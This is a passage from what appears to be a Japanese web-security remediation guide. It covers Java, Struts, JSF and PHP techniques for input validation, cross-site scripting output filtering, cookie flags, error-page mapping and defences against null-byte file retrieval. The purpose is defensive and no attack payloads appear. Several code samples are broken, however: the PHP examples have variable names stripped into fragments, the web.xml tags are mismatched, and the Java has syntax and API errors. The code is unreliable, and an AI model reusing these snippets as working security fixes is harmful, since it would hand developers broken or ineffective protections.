    // Returns the error message for the specified error key in the environment locale
    public String getErrorMessage(String errorKey) {
        return getErrorMessage(errorKey, defaultLocale);
    }

    // Returns the error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Locale locale) {
        return getErrorMessage(errorKey, null, locale);
    }

    // Returns a formatted error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Object[] args, Locale locale) {
        // Get localized ErrorMessageResource
        ResourceBundle errorMessageResource = ResourceBundle.getBundle("ErrorMessages", locale);
        // Get localized error message
        String errorMessage = errorMessageResource.getString(errorKey);
        if (args != null) {
            // Format the message using the specified placeholders args
            return MessageFormat.format(errorMessage, args);
        } else {
            return errorMessage;
        }
    }

    // default environment locale
    private Locale defaultLocale = Locale.getDefaultLocale();
}
...
// Get the user's locale
Locale userLocale = request.getLocale();
// Check if there were any validation errors
Errors errors = (Errors)request.getAttribute("errors");
if (errors != null && errors.hasErrors()) {
    // iterate through errors and output error messages corresponding to the "user_name" property
    ArrayList userNameErrors = errors.getErrors("user_name");
    ListIterator iterator = userNameErrors.iterator();
    while (iterator.hasNext()) {
        // Get the next error object
        Error error = (Error)iterator.next();
        String errorMessage = ErrorMessageResource.getErrorMessage(error.getKey(), userLocale);
        output.write(errorMessage + "¥r¥n");
    }
}
```

上記例のようにエラー・メッセージを何度も表示する場合は、独自のJSPタグ (displayErrors等) を定義することが推奨されます。

[4] エラーのマッピング: 通常 Servlet
Containerは、応答状態コードまたは例外のどちらかに対応するデフォルトのエラー・ページを返します。状態コードまたは例外と Web リソースとのマッピングは、カスタム・エラー・ページを使用して指定できます。
効果的な方法は、内部のエラーの状態を公開しない静的なエラー・ページを開発することです (デフォルトでは、ほとんどの Servlet コンテナーは内部エラー・メッセージを報告します)。このマッピングは、次の例のように、Web Deployment Descriptor (web.xml) で設定されます。

```
<!-- Mapping of HTTP error codes and application exceptions to error pages -->
<error-page>
  <exception-type>UserValidationException</exception-type>
  <location>/errors/validationError.html</error-page>
</error-page>
<error-page>
  <error-code>500</exception-type>
  <location>/errors/internalError.html</error-page>
</error-page>
<error-page>
...
</error-page>
...
```

推奨される Java ツール・サーバー側で検証を行う Java フレームワークは主に次の 2 つです。
[1] Jakarta Commons Validator (Struts 1.1 と統合)
Jakarta Commons Validator は、上記のようなエラー処理メカニズムを定義する Java フレームワークです。検証規則は、フォーム・フィールドの入力検証規則とそれに対応する検証エラー・キーを定義する XML ファイルとして設定されます。 Struts は、リソース・バンドルとメッセージ・フォーマットを使用してローカライズ・アプリケーションを構築するための国際化対応をサポートします。

次に、Struts Validator を使用して、loginForm の userName フィールドを検証する例を示します。

```
<form-validation>
   <global>
      ...
      <validator name="required"
         classname="org.apache.struts.validator.FieldChecks"
         method="validateRequired"
         msg="errors.required">
      </validator>
      <validator name="mask"
         classname="org.apache.struts.validator.FieldChecks"
         method="validateMask"
         msg="errors.invalid">
      </validator>
      ...
   </global>
   <formset>
      <form name="loginForm">
         <!-- userName is required and is alpha-numeric case insensitive -->
         <field property="userName" depends="required,mask">
            <!-- message resource key to display if validation fails -->
            <msg name="mask" key="login.userName.maskmsg"/>
            <arg0 key="login.userName.displayname"/>
            <var>
               <var-name>mask</var-name>
               <var-value>^[a-zA-Z0-9]*$</var-value>
            </var>
         </field>
      ...
      </form>
      ...
   </formset>
</form-validation>
```

次の例に示すように、Struts JSP タグ・ライブラリーは、格納されたエラー・メッセージを条件付きで表示する「errors」タグを定義します。

```
<%@ page language="java" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<html:html>
<head>
<body>
   <html:form action="/logon.do">
   <table border="0" width="100%">
   <tr>
      <th align="right">
         <html:errors property="username"/>
         <bean:message key="prompt.username"/>
      </th>
      <td align="left">
         <html:text property="username" size="16"/>
      </td>
   </tr>
```

```
    <tr>
    <td align="right">
       <html:submit><bean:message key="button.submit"/></html:submit>
    </td>
    <td align="right">
       <html:reset><bean:message key="button.reset"/></html:reset>
    </td>
    </tr>
    </table>
    </html:form>
 </body>
 </html:html>
```

[2] JavaServer Faces Technology: JavaServer Faces Technology は、UI コンポーネントの表現、各コンポーネントの状態の管理、イベントの処理、入力の検証、および国際化対応のサポートを行う、一連の Java API (JSR 127) です。

JavaServer Faces API は「output_errors」という UIOutput Renderer を定義します。それはページ全体のエラー・メッセージまたは指定されたクライアント識別子に関連するエラー・メッセージを表示します。

次に、JavaServer Faces を使用して、loginForm の userName フィールドを検証する例を示します。

```
 <%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
 <%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
 ...
 <jsp:useBean id="UserBean"
    class="myApplication.UserBean" scope="session" />
 <f:use_faces>
   <h:form formName="loginForm" >
    <h:input_text id="userName" size="20" modelReference="UserBean.userName">
       <f:validate_required/>
       <f:validate_length minimum="8" maximum="20"/>
    </h:input_text>
    <!-- display errors if present -->
    <h:output_errors id="loginErrors" clientId="userName"/>
    <h:command_button id="submit" label="Submit" commandName="submit" /><p>
   </h:form>
 </f:use_faces>
```

参照リンク:
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/
Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/
Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/
Java Regular Expression Package -
http://jakarta.apache.org/regexp/
Jakarta Validator -
http://jakarta.apache.org/commons/validator/
JavaServer Faces Technology -
http://java.sun.com/j2ee/javaserverfaces/

## 推奨される修正 - PHP

** 入力データの検証

データ検証は、ユーザーの利便性のためにクライアント層で行うこともできますが、必ずサーバー層で行う必要があります。クライアント側のデータ検証は、例えば Javascript を無効にすることによって簡単にバイパスできるため、本質的に安全ではありません。

一般的には、次の項目を検証するサーバー側ユーティリティー・ルーチンを提供する Web アプリケーション・フレームワークが理想とされます。
[1] 必須フィールド
[2] フィールドのデータ型 (デフォルトでは、HTTP 要求パラメーターはすべて String)
[3] フィールドの長さ
[4] フィールドの範囲
[5] フィールドのオプション
[6] フィールドのパターン
[7] Cookie の値
[8] HTTP 応答

効果的な方法は、各アプリケーション・パラメーターを検証する関数を実装することです。以下のセクションでは、チェックの例について示しています。

[1] 必須フィールド
常に、フィールドが Null でなく、前後の空白スペースを除いて、その長さがゼロより大きいことをチェックします。
次に、要求されたフィールドを検証する例を示します。

```
  // PHP example to validate required fields
input) {
      ...
ass = false;
input))>0){
ass = true;
     }
ass;
      ...
```

```
}
...
fieldName)) {
    // fieldName is valid, continue processing request
    ...
}
```

[2] フィールドのデータ型: Web アプリケーションでは、入力パラメーターの型は多くありません。例えば、HTTP 要求パラメーターや Cookie の値はすべて String 型です。 開発者は入力のデータ型が正しいかどうかを確認する必要があります。

[3] フィールドの長さ: 常に、入力パラメーター (HTTP 要求パラメーターまたは Cookie 値のどちらか) の長さが最小値から最大値までの間であることを確認します。

[4] フィールドの範囲: 常に、入力パラメーターが関数の要件で定義された範囲内であることを確認します。

[5] フィールドのオプション: 多くの場合 Web アプリケーションはユーザーに対して一連のオプションを提示して、ユーザーにそのいずれかを選択するよう促しますが (例えば SELECT HTML タグを使用するなどして)、選択された値が使用可能なオプションのいずれかであるかどうかをサーバー側で検証を実行して確認することはできません。悪意のあるユーザーが任意のオプションの値を簡単に変更できることに注意してください。選択されたユーザーの値が、関数の仕様で定義されている許可されたオプションであることを必ず検証してください。

[6] フィールドのパターン:
関数の仕様で定義されるように、ユーザーの入力がパターンに一致していることを常にチェックしてください。例えば、userName フィールドが大文字小文字を区別せずに英数字のみ許可している場合、次の正規表現を使用します:
^[a-zA-Z0-9]+$

[7] Cookie の値: アプリケーションの仕様に応じて、(上記と) 同じ検証規則 (要求された値の検証や長さの検証など) が Cookie の値にも適用されます。

[8] HTTP 応答

[8-1] ユーザー入力のフィルタリング:
クロスサイト・スクリプティングからアプリケーションを保護するには、開発者が、危険な文字を対応する文字エンティティーに変換して HTML をサニタイズする必要があります。HTML で危険な文字は次のとおりです。
< > " ' % ; ) ( & +

PHP には、htmlentities() などの自動サニタイズ・ユーティリティー関数がいくつかあります。

```
$input = htmlentities($input, ENT_QUOTES, 'UTF-8');
```

さらに、クロスサイト・スクリプティングの UTF-7 バリアントを防止するために、明示的に応答の Content-Type ヘッダーを定義します。以下の例を参照してください。

```
<?php

header('Content-Type: text/html; charset=UTF-8');

?>
```

[8-2] Cookie のセキュリティー保護

秘密データを Cookie に格納して SSL を介して転送するときには、まず HTTP 応答に Cookie のセキュリティー・フラグを設定します。これによって、SSL 接続ではこの Cookie のみを使用するようにブラウザーに指示します。

Cookie のセキュリティーを保つ方法については、以下のコード例を使用することができます。

```
<$php

value = "some_value";
time = time()+3600;
ath = "/application/";
domain = ".example.com";
secure = 1;

secure, TRUE);
?>
```

さらに、HttpOnly フラグを使用することをお勧めします。HttpOnly フラグが TRUE に設定されているとき、Cookie は HTTP プロトコルでのみアクセスできるようになっています。つまり、この Cookie は JavaScript のようなスクリプト言語ではアクセスできなくなります。この設定によって、XSS 攻撃による ID の盗用を効果的に減殺することができます (ただしすべてのブラウザーがサポートしている訳ではありません)。

HttpOnly フラグは PHP 5.2.0 で追加されました。

参照リンク:

[1] HTTP-only Cookies によるクロスサイト・スクリプティングの防止:
http://msdn2.microsoft.com/en-us/library/ms533046.aspx
[2] PHP セキュリティー・コンソーシアム:
http://phpsec.org/
[3] PHP & Web アプリケーション・セキュリティー・ブログ (Chris Shiflett):

http://shiflett.org/

## 参考資料と関連リンク

CERT アドバイザリー CA-2000-02
Microsoft サポート オンライン How to prevent cross-site scripting security issues (Q252985)
Microsoft How To: Prevent Cross-Site Scripting in ASP.NET
Microsoft How To: Protect From Injection Attacks in ASP.NET
Microsoft How To: Use Regular Expressions to Constrain Input in ASP.NET
Microsoft .NET Anti-Cross Site Scripting Library
クロスサイト・スクリプティング研修モジュール

# 汚染 Null バイト Windows ファイルの取得

## アプリケーション

## WASC 脅威の分類

Null バイト・インジェクション
http://projects.webappsec.org/Null-Byte-Injection

## セキュリティー・リスク

(Web サーバー・ユーザーのパーミッション制限がかけられている) Web サーバー上の任意のファイル
(たとえばデータベース、ユーザー情報や設定ファイル) の内容を表示することができます

## 考えられる原因

ユーザーの入力において、有害文字の除去が適切に行われませんでした
ユーザーの入力について「..」(連続するドット 2 個) 文字列のチェックが行われていません

## 技術的な説明

異なる表現間または異なるコンポーネント間でデータを渡すときに、製品がヌル・バイト (NUL 文字) を正しく処理しません。

ヌル・バイト (NUL 文字) は、表現や言語によって異なる意味を持つことがあります。例えば、ヌル・バイトは、標準の C ライブラリーでは文字列の終了文字ですが、Perl および PHP 文字列では終了文字としては扱われません。2 つの表現が使用される場合 (Perl や PHP で、内在する C 機能が呼び出されるときなど)、相互作用エラーが発生し、予期しない結果になる可能性があります。類似した問題が ASP について報告されています。
C で作成された他のインタープリターも影響を受ける可能性があります。

## 推奨される修正 - 全般

すべての入力文字列からヌル・バイトを削除してください。

## 推奨される修正 - ASP.NET

ASP.NET では、ファイルを開く前にファイル名を検証する方法を多数提供しています。次に例を示します:

[1] Server.MapPath() メソッド: このメソッドは、パス (文字列) を受信して、指定された相対または仮想パスをサーバー上の対応する物理ディレクトリーにマップします。
注: デフォルトでは、AspEnableParentPaths プロパティー (Metabase プロパティー) のデフォルト値は FALSE に設定されており、スクリプトはアプリケーションのルート・ディレクトリーの外にあるファイルに対してアクセス権を持っていません。プロパティーの値を TRUE に変更すると、セキュリティー・リスクが発生する可能性があります。

[2] Path.GetFileName() メソッド:
このメソッドでは、指定されたファイル・パスの最後のエレメントを効率的に削除して、ファイル・パスの最後の区切り文字 (この区切り文字は含まれません) までのすべての文字で構成される文字列を返します。

注: このメソッドの引数に、
a. 引用符 (")
b. より小さい (<)
c. より大きい (>)
d. パイプ (|)
e. バックスペース (¥b)
f. Null (¥0)
g. 16～18 および 20～25 の Unicode 文字などの InvalidPathChars が含まれていると、ArgumentException が発生します。

セキュリティー上の理由から、ファイル名についての入力検証を実行する前に、Server.MapPath() メソッドを使用することをお勧めします。

## 推奨される修正 - J2EE

** ファイル・パスの検証:

Servlet コンテナーからファイル・システムにアクセスする方法は多数あります。 しかし、これらの方法の中には、Web のルートの外側へのファイル・アクセスをサポートしているために、危険であるものが含まれています。
サーバーのドキュメント・ツリーの仮想パスが指定されている Web リソースにアクセスする Servlet API メソッドが 2 つあります。 これらの API は、Web のルートを外れる値を解決するファイル名が指定されたときには、Null を返します。 Web のルートに格納されている設定ファイルやその他のファイルへのアクセスには、以下の API を使用します。

[1] ServletContext.getResource (または ServletContext.getResourceAsStream)
[2] ServletContext.getRealPath

[1] ServletContext.getResource (または ServletContext.getResourceAsStream)
ServletContext.getResource および ServletContext.getResourceAsStream のいずれも、(サーバーの Web ルートに対して相対指定された) 仮想パスに配置されているリソースへのアクセスに使用することができます。
リソースは、ローカルまたはリモートのファイル・システム、データベース、もしくは .war ファイルに配置することができます。

ServletContext.getResource は、指定されたパスにマップされたリソースの URL を返します。
指定されたパスにマップされたリソースがない場合には、Null を返します。
指定されたパスが正しい形式でない場合には、MalFormedURLException をスローします。

ServletContext.getResourceAsStream は、指定されたパスにマップされたリソースへの InputStream オブジェクトを返します。
指定されたパスにマップされた有効なリソースがない場合には、Null を返します。

以下の例では、アプリケーションの WEB-INF ディレクトリーにある servlet.xml という名前の Servlet
設定ファイルをロードする方法を示しています。

```
// Example to load the /WEB-INF/servlet.xml configuration file
URL url = getServletContext().getResource("/WEB-INF/servlet.xml");
// Acquire an input stream to the config resource
InputStream configInput = url.openStream();
...
```

設定ファイルへの入力ストリームを直接取得するには、以下の例に示すように ServletContext.getResourceAsStream メソッドを使用します。

```
// Example to acquire an input stream to a resource
InputStream configInput = getServletContext().getResourceAsStream("/WEB-INF/servlet.xml");
...
```

[2] ServletContext.getRealPath
このメソッドは、(サーバーの Web ルートに対して相対指定された) 仮想パスで指定されたリソースの実際のパスを返します。
返される実際のパスは、Servlet
コンテナーが実行されているコンピューターおよびオペレーティング・システムに適した形式となっており、適切な区切り文字を含んでいます。

このメソッドは、ローカル・ファイルに格納されていないリソースへのアクセスは行えないため、ServletContext.getResource (または
ServletContext.getResourceAsStream) よりも一般的ではありません。 Servlet コンテナーが何らかの理由 (コンテンツが .war
アーカイブから使用するようになっている場合など) によって仮想パスを実際のパスに変換できない場合には、Null を返します。

ServletContext.getRealPath メソッドの実装は、Servlet エンジンが行います。これは、すべての Servlet エンジンで必ず (すなわち適切に)
実装されるものではありません。 以下の例に示すように、返されたパスについては必ず検証を行ってください。

```
// Example to access a resource using ServletContext.getRealPath
// Get the virtual path parameter from the http request
String virtualPath = request.getParameter("virtual_path");
String realPath = getServletContext().getRealPath(virtualPath);
if (realPath != null) {
    // verify that realPath is valid
    File file = new File(realPath);
    if (!file.exists()) {
        // oops, invalid file path
        ...
    }
}
```

推奨される Java ツールなし

参照リンク

http://java.sun.com/products/servlet/2.2/javadoc/javax/servlet/ServletContext.html#getResource(java.lang.String)

http://java.sun.com/products/servlet/2.2/javadoc/javax/servlet/ServletContext.html#getResourceAsStream(java.lang.String)

http://java.sun.com/products/servlet/2.2/javadoc/javax/servlet/ServletContext.html#getRealPath(java.lang.String)

** 入力データの検証

データ検証は、ユーザーの利便性のためにクライアント層で行うこともできますが、必ず Servlet
を使用するサーバー層で行う必要があります。クライアント側のデータ検証は、例えば Javascript
を無効にすることによって簡単にバイパスできるため、本質的に安全ではありません。

一般的には、次の項目を検証するサーバー側ユーティリティー・ルーチンを提供する Web アプリケーション・フレームワークが理想とされます。
[1] 必須フィールド
[2] フィールドのデータ型 (デフォルトでは、HTTP 要求パラメーターはすべて String)
[3] フィールドの長さ
[4] フィールドの範囲
[5] フィールドのオプション
[6] フィールドのパターン
[7] Cookie の値
[8] HTTP 応答

効果的な方法は、上記ルーチンを Validator ユーティリティー・クラスの静的メソッドとして実装することです。次のセクションでは、validator
クラスの例について説明します。

[1] 必須フィールド
常に、フィールドが Null でなく、前後の空白スペースを除いて、その長さがゼロより大きいことをチェックします。

次に、要求されたフィールドを検証する例を示します。

```
// Java example to validate required fields
public Class Validator {
    ...
    public static boolean validateRequired(String value) {
        boolean isFieldValid = false;
        if (value != null && value.trim().length() > 0) {
            isFieldValid = true;
        }
        return isFieldValid;
```

```
    }
    …
}
…
String fieldValue = request.getParameter("fieldName");
if (Validator.validateRequired(fieldValue)) {
    // fieldValue is valid, continue processing request
    …
}
```

[2] フィールドのデータ型: Web アプリケーションでは、入力パラメーターの型は多くありません。例えば、HTTP 要求パラメーターや Cookie の値はすべて String 型です。 開発者は入力のデータ型が正しいかどうかを確認する必要があります。
フィールドの値を希望するプリミティブなデータ型に安全に変換できるかどうかをチェックするには、Java プリミティブ・ラッパー・クラスを使用します。

次に、数値フィールド (int 型) を検証する例を示します。

```
// Java example to validate that a field is an int number
public Class Validator {
    …
    public static boolean validateInt(String value) {
        boolean isFieldValid = false;
        try {
            Integer.parseInt(value);
            isFieldValid = true;
        } catch (Exception e) {
            isFieldValid = false;
        }
        return isFieldValid;
    }
    …
}
…
// check if the HTTP request parameter is of type int
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // fieldValue is valid, continue processing request
    …
}
```

効果的な方法は、HTTP 要求パラメーターをすべて対応するデータ型に変換することです。例えば、次の例に示すように、開発者は、要求パラメーターの「integerValue」を要求属性に格納して使用します。

```
// Example to convert the HTTP request parameter to a primitive wrapper data type
// and store this value in a request attribute for further processing
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // convert fieldValue to an Integer
    Integer integerValue = Integer.getInteger(fieldValue);
    // store integerValue in a request attribute
    request.setAttribute("fieldName", integerValue);
}
…
// Use the request attribute for further processing
Integer integerValue = (Integer)request.getAttribute("fieldName");
…
```

アプリケーションが処理する必要がある Java の主なデータ型は次のとおりです。
- Byte
- Short
- Integer
- Long
- Float
- Double
- Date

[3] フィールドの長さ: 常に、入力パラメーター (HTTP 要求パラメーターまたは Cookie 値のどちらか) の長さが最小値から最大値までの間であることを確認します。

次に、userName フィールドの長さが 8 文字から 20 文字までの間であることを検証する例を示します。

```
// Example to validate the field length
public Class Validator {
    …
    public static boolean validateLength(String value, int minLength, int maxLength) {
        String validatedValue = value;
        if (!validateRequired(value)) {
            validatedValue = "";
        }
        return (validatedValue.length() >= minLength &&
                validatedValue.length() <= maxLength);
    }
    …
```

```
}
…
String userName = request.getParameter("userName");
if (Validator.validateRequired(userName)) {
    if (Validator.validateLength(userName, 8, 20)) {
        // userName is valid, continue further processing
        …
    }
}
```

[4] フィールドの範囲: 常に、入力パラメーターが関数の要件で定義された範囲内であることを確認します。

入力データ numberOfChoices の値が 10 から 20 の間であることを検証する例を示します。

```
// Example to validate the field range
public Class Validator {
    …
    public static boolean validateRange(int value, int min, int max) {
        return (value >= min && value <= max);
    }
    …
}
…
String fieldValue = request.getParameter("numberOfChoices");
if (Validator.validateRequired(fieldValue)) {
    if (Validator.validateInt(fieldValue)) {
        int numberOfChoices = Integer.parseInt(fieldValue);
        if (Validator.validateRange(numberOfChoices, 10, 20)) {
            // numberOfChoices is valid, continue processing request
            …
        }
    }
}
```

[5] フィールドのオプション: 多くの場合 Web
アプリケーションはユーザーに対して一連のオプションを提示して、ユーザーにそのいずれかを選択するよう促しますが (例えば SELECT
HTML
タグを使用するなどして)、選択された値が使用可能なオプションのいずれかであるかどうかをサーバー側で検証を実行して確認することはできません。悪意のあるユーザーが任意のオプションの値を簡単に変更できることに注意してください。選択されたユーザーの値が、関数の仕様で定義されている許可されたオプションであることを必ず検証してください。

許可されたオプションのリストに対してユーザーの選択を検証する例を示します。

```
// Example to validate user selection against a list of options
public Class Validator {
    …
    public static boolean validateOption(Object[] options, Object value) {
        boolean isValidValue = false;
        try {
            List list = Arrays.asList(options);
            if (list != null) {
                isValidValue = list.contains(value);
            }
        } catch (Exception e) {
        }
        return isValidValue;
    }
    …
}
…
// Allowed options
String[] options = {"option1", "option2", "option3");
// Verify that the user selection is one of the allowed options
String userSelection = request.getParameter("userSelection");
if (Validator.validateOption(options, userSelection)) {
    // valid user selection, continue processing request
    …
}
```

[6] フィールドのパターン:
関数の仕様で定義されるように、ユーザーの入力がパターンに一致していることを常にチェックしてください。例えば、userName
フィールドが大文字小文字を区別せずに英数字のみ許可している場合、次の正規表現を使用します:
^[a-zA-Z0-9]*$

Java 1.3 またはそれ以前のバージョンには、正規表現パッケージが含まれていません。 Java 1.3 ではサポートされないため、Apache Regular Expression Package (下記のリソースを参照) を使用することを推奨します。 正規表現で検証を実行する例を示します。

```
// Example to validate that a given value matches a specified pattern
// using the Apache regular expression package
import org.apache.regexp.RE;
import org.apache.regexp.RESyntaxException;
public Class Validator {
    …
    public static boolean matchPattern(String value, String expression) {
```

```
        boolean match = false;
        if (validateRequired(expression)) {
            RE r = new RE(expression);
            match = r.match(value);
        }
        return match;
    }
    ...
}
...
// Verify that the userName request parameter is alpha-numeric
String userName = request.getParameter("userName");
if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
    // userName is valid, continue processing request
    ...
}
```

Java 1.4 には、新しく正規表現パッケージ (java.util.regex) が導入されています。 新しい Java 1.4 の正規表現パッケージを使用した Validator.matchPattern の変更バージョンは以下のようになります。

```
// Example to validate that a given value matches a specified pattern
// using the Java 1.4 regular expression package
import java.util.regex.Pattern;
import java.util.regexe.Matcher;
public Class Validator {
    ...
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
            match = Pattern.matches(expression, value);
        }
        return match;
    }
    ...
}
```

[7] Cookie の値: Cookie の値を検証するために javax.servlet.http.Cookie オブジェクトを使用してください。アプリケーションの仕様に応じて、(上記と) 同じ検証規則 (要求された値の検証や長さの検証など) が Cookie の値にも適用されます。

要求された Cookie の値を検証する例は次のとおりです。

```
// Example to validate a required cookie value
// First retrieve all available cookies submitted in the HTTP request
Cookie[] cookies = request.getCookies();
if (cookies != null) {
    // find the "user" cookie
    for (int i=0; i<cookies.length; ++i) {
        if (cookies[i].getName().equals("user")) {
            // validate the cookie value
            if (Validator.validateRequired(cookies[i].getValue()) {
                // valid cookie value, continue processing request
                ...
            }
        }
    }
}
```

[8] HTTP 応答 - [8-1] ユーザー入力のフィルタリング:
クロスサイト・スクリプティングからアプリケーションを保護するには、開発者が危険な文字を対応する文字エンティティーに変換して HTML をサニタイズする必要があります。HTML で危険な文字は次のとおりです。
< > " ' % ; ) ( & +

危険な文字を対応する文字エンティティーに変換して、指定された文字列をフィルタリングする例は次のとおりです。

```
// Example to filter sensitive data to prevent cross-site scripting
public Class Validator {
    ...
    public static String filter(String value) {
        if (value == null) {
            return null;
        }
        StringBuffer result = new StringBuffer(value.length());
        for (int i=0; i<value.length(); ++i) {
            switch (value.charAt(i)) {
            case '<':
                result.append("&lt;");
                break;
            case '>':
                result.append("&gt;");
                break;
            case '"':
                result.append("&quot;");
                break;
```

```
            case '¥'':
                result.append("&#39;");
                break;
            case '%':
                result.append("&#37;");
                break;
            case ';':
                result.append("&#59;");
                break;
            case '(':
                result.append("&#40;");
                break;
            case ')':
                result.append("&#41;");
                break;
            case '&':
                result.append("&amp;");
                break;
            case '+':
                result.append("&#43;");
                break;
            default:
                result.append(value.charAt(i));
                break;
        }
        return result;
    }
    ...
}
...
// Filter the HTTP response using Validator.filter
PrintWriter out = response.getWriter();
// set output response
out.write(Validator.filter(response));
out.close();
```

Java Servlet API 2.3 にはフィルターが導入されており、HTTP 要求または応答をインターセプトして変換する機能をサポートしています。

Validator.filter を使用して応答をサニタイズする Servlet フィルターの使用例は次のとおりです。

```
// Example to filter all sensitive characters in the HTTP response using a Java Filter.
// This example is for illustration purposes since it will filter all content in the response, including HTML tags!
public class SensitiveCharsFilter implements Filter {
    ...
    public void doFilter(ServletRequest request,
                         ServletResponse response,
                         FilterChain chain)
        throws IOException, ServletException {

        PrintWriter out = response.getWriter();
        ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
        chain.doFilter(request, wrapper);

        CharArrayWriter caw = new CharArrayWriter();
        caw.write(Validator.filter(wrapper.toString()));

        response.setContentType("text/html");
        response.setContentLength(caw.toString().length());
        out.write(caw.toString());
        out.close();
    }
    ...
    public class CharResponseWrapper extends HttpServletResponseWrapper {
        private CharArrayWriter output;

        public String toString() {
            return output.toString();
        }

        public CharResponseWrapper(HttpServletResponse response){
            super(response);
            output = new CharArrayWriter();
        }

        public PrintWriter getWriter(){
            return new PrintWriter(output);
        }
    }
}

}
```

[8-2] Cookie のセキュリティー保護: Cookie に機密データを保存する場合、HTTPS や SSL などの安全なプロトコルを利用して Cookie が送信されるようにブラウザーに指示するために、Cookie.setSecure(boolean flag) を使用して HTTP 応答の Cookie

のセキュリティー・フラグが設定されるようにしてください。

「user」の Cookie をセキュリティー保護する例は次のとおりです。

```
// Example to secure a cookie, i.e. instruct the browser to
// send the cookie using a secure protocol
Cookie cookie = new Cookie("user", "sensitive");
cookie.setSecure(true);
response.addCookie(cookie);
```

推奨される JAVA ツール: サーバー側で検証を行う Java フレームワークは主に次の 2 つです。
[1] Jakarta Commons Validator (Struts 1.1 と統合): Jakarta Commons Validator は、上記のデータ検証仕様をすべて実装する強力なフレームワークです。これらの規則は、フォーム・フィールドの入力認証規則を定義する XML ファイルで構成されています。 Struts の [bean:write] タグを使用することで、記述された全データに対する [8] HTTP 応答の危険な文字の出力フィルタリングを Struts がデフォルトでサポートしています。
このフィルタリングは、「filter=false」フラグを設定することにより無効にできます。

Struts は次の基本的な入力検証を定義しますが、カスタム検証が定義される場合もあります。
required: フィールドに空白以外の文字が含まれている場合に成功します。
mask: 値がマスク属性によって与えられた正規表現に一致する場合に成功します。
range: 値が min 属性および max 属性により与えられた値 ((value >= min) および (value <= max)) の範囲内である場合に成功します。
maxLength: フィールドの長さが max 属性以下である場合に成功します。
minLength: フィールドの長さが min 属性以上である場合に成功します。
byte、short、integer、long、float、double: 値を対応するプリミティブ型に変換できる場合に成功します。
date: 値が有効な日付を示す場合に成功します。日付のパターンを指定することも可能です。
creditCard: 値が有効なクレジット・カードの番号である場合に成功します。
e-mail: 値が有効な電子メール・アドレスである場合に成功します。

次に、Struts Validator を使用して、loginForm の userName フィールドを検証する例を示します。

```
<form-validation>
   <global>
      ...
      <validator name="required"
         classname="org.apache.struts.validator.FieldChecks"
         method="validateRequired"
         msg="errors.required">
      </validator>
      <validator name="mask"
         classname="org.apache.struts.validator.FieldChecks"
         method="validateMask"
         msg="errors.invalid">
      </validator>
      ...
   </global>
   <formset>
      <form name="loginForm">
         <!-- userName is required and is alpha-numeric case insensitive -->
         <field property="userName" depends="required,mask">
            <!-- message resource key to display if validation fails -->
            <msg name="mask" key="login.userName.maskmsg"/>
            <arg0 key="login.userName.displayname"/>
            <var>
               <var-name>mask</var-name>
               <var-value>^[a-zA-Z0-9]*$</var-value>
            </var>
         </field>
      ...
      </form>
      ...
   </formset>
</form-validation>
```

[2] JavaServer Faces Technology: JavaServer Faces Technology は、UI コンポーネントの表現、各コンポーネントの状態の管理、イベントの処理および入力の検証を行う、一連の Java API (JSR 127) です。

JavaServer Faces API は次の基本的な検証を実装しますが、カスタム検証も定義される場合があります。
validate_doublerange: コンポーネントの DoubleRangeValidator を登録します。
validate_length: コンポーネントの LengthValidator を登録します。
validate_longrange: コンポーネントの LongRangeValidator を登録します。
validate_required: コンポーネントの RequiredValidator を登録します。
validate_stringrange: コンポーネントの StringRangeValidator を登録します。
validator: コンポーネントのカスタムの Validator を登録します。

JavaServer Faces API は、次の UIInput および UIOutput Renderer (Tag) を定義します。
input_date: java.text.Date インスタンスでフォーマットされた java.util.Date を受け取ります。
output_date: java.text.Date インスタンスでフォーマットされた java.util.Date を表示します。
input_datetime: java.text.DateTime インスタンスでフォーマットされた java.util.Date を受け取ります。
output_datetime: java.text.DateTime インスタンスでフォーマットされた java.util.Date を表示します。
input_number: java.text.NumberFormat でフォーマットされた数値データ型 (java.lang.Number またはプリミティブ型) を表示します。
output_number: java.text.NumberFormat でフォーマットされた数値データ型 (java.lang.Number またはプリミティブ型) を表示します。
input_text: 1 行の文字列を受け取ります。
output_text: 1 行の文字列を表示します。
input_time: java.text.DateFormat タイム・インスタンスでフォーマットされた java.util.Date を受け取ります。
output_time: java.text.DateFormat タイム・インスタンスでフォーマットされた java.util.Date を表示します。

input_hidden: ページの作成者がページで hidden 変数を使用することを許可します。
input_secret: 空白なしの 1 行のテキストを受け取り、入力の度にアスタリスクのセットとして表示します。
input_textarea: 複数行のテキストを受け取ります。
output_errors: ページ全体のエラー・メッセージまたは指定のクライアント識別子に関連するエラー・メッセージを表示します。
output_label: ネストされたコンポーネントを指定インプット・フィールドのラベルとして表示します。
output_message: 配置されたメッセージを表示します。

次に、JavaServer Faces を使用して、loginForm の userName フィールドを検証する例を示します。

```
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
...
<jsp:useBean id="UserBean"
    class="myApplication.UserBean" scope="session" />
<f:use_faces>
  <h:form formName="loginForm" >
    <h:input_text id="userName" size="20" modelReference="UserBean.userName">
        <f:validate_required/>
        <f:validate_length minimum="8" maximum="20"/>
    </h:input_text>
    <!-- display errors if present -->
    <h:output_errors id="loginErrors" clientId="userName"/>
    <h:command_button id="submit" label="Submit" commandName="submit" /><p>
  </h:form>
</f:use_faces>
```

参照リンク:
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/
Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/
Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/
Java Regular Expression Package -
http://jakarta.apache.org/regexp/
Jakarta Validator -
